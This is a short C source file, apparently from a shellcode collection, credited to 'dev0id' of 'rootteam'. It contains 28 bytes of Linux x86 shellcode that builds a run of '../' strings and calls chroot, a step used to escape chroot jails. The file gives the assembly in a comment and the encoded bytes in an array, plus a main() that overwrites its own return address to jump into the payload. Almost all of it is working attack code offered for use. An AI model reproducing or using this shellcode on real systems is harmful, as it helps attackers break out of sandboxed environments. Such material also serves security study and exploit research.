/* The chroot() shellcode. It is the one of the smallest shellcodes in the !!world!! it will put '../' 10 times Size 28 bytes OS Linux /rootteam/dev0id (rootteam.void.ru) dev0id@uncompiled.com BITS 32 main: xor ecx,ecx xor eax,eax push ecx mov cl,30 main_push: push byte 0x2e loop main_push mov cl,30 main_inc: dec cl inc byte [esp+ecx] dec cl loop main_inc mov ebx,esp mov al,61 int 0x80 */ char shellcode[] = "\x31\xc9\x31\xc0\x51\xb1\x1e\x6a\x2e\xe2\xfc\xb1\x1e\xfe\xc9" "\xfe\x04\x0c\xfe\xc9\xe2\xf7\x89\xe3\xb0\x3d\xcd\x80"; int main(void) { int *ret; ret = (int*)&ret + 2; (*ret) = shellcode; }